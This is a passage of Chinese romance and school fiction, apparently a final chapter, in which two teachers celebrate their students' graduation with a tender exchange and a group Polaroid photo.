“当然了，我承包了你的所有后半生，”简璃扶着他的腰，亲亲他的眼睛，说：“你学生来了也不让。” “啊啊啊老师你们都在撒狗粮！” “简老师！放开那个陶老师！” “我还想哭呢呜呜你们别太甜了吧！” 不远处一群学生已经发现了角落里的小秘密，不敢说话，确认无误后，朝着他们跑过来，陶与晴不好意思的松开手，又被简璃搂紧了。 “说了，你学生来了我也不让。” 幼稚鬼…… 陶与晴简直哭笑不得。 他闭了闭眼：“我愿意。” 简璃：“嗯，我知道。” 夕阳蔓延开来，最后的最后邓留萤拉着陶与晴简璃和他们一起合照。 她特意带了拍立得，他们两个被几个孩子围在中间，邓留萤定好拍立得的时间，迅速跑过去。 “三二一……玉光99——！” 陶与晴感到闪光灯咔嚓了一下，才发觉这几个孩子喊的口号是这个。 简璃嗤笑一声：“一群人小鬼大。” 人也不小了，简老师。 而陶与晴和简璃看见照片的那一刻，不约而同的对视一笑。 照片里，陶与晴和简璃在最前排肩膀靠肩膀，后面的几个人都在给他们比心。 邓留萤在两个人中间，比了个大大的爱心，赵遇京笑的最灿烂，在侧面wink，两只手比了个爱心，宁雨在下面的角落，别别扭扭的小爱心，吴尽夏在邓留萤旁边，比的最规矩，笑意明显，姜一安不会，在另一个角落比了个奇形怪状的心，表情还有些苦恼。 赵遇京捧腹大笑：“哈哈哈哈小班长你那是什么。” 姜一安尴尬的推了推眼镜：“看得出来就行了吧。” 邓留萤挤兑过去：“赵遇京你踩到我了！” 吴尽夏说：“但是拍的很好啊我觉得。” 宁雨护着前面要被挤倒的拍立得：“……你们别挤了、快把照片拿出来。” 这照片还真是…… 陶与晴把决定给它找一个好一点的相框存放。 邓留萤洗了好几张出来，发给几个人，最后发到陶与晴和简璃的时候，忍不住又擦了擦眼泪。 她郑重的把照片递过去，说：“谢谢你们，这是我……不，这是我们，度过的最美好的高中，真的真的。” 三年前踏入那次漫展的时候，她还不知道未来会有什么等着她。 原来是上天给她的最好的青春。 【意留光点，亘古灿烂】 她收到过最好的祝福语。 简璃接过照片：“那可就不能抱怨我了。” 邓留萤笑了笑：“我们开玩笑的，简老师。” 陶与晴笑着说：“毕业快乐。” 毕业快乐。 ——最可爱的孩子们。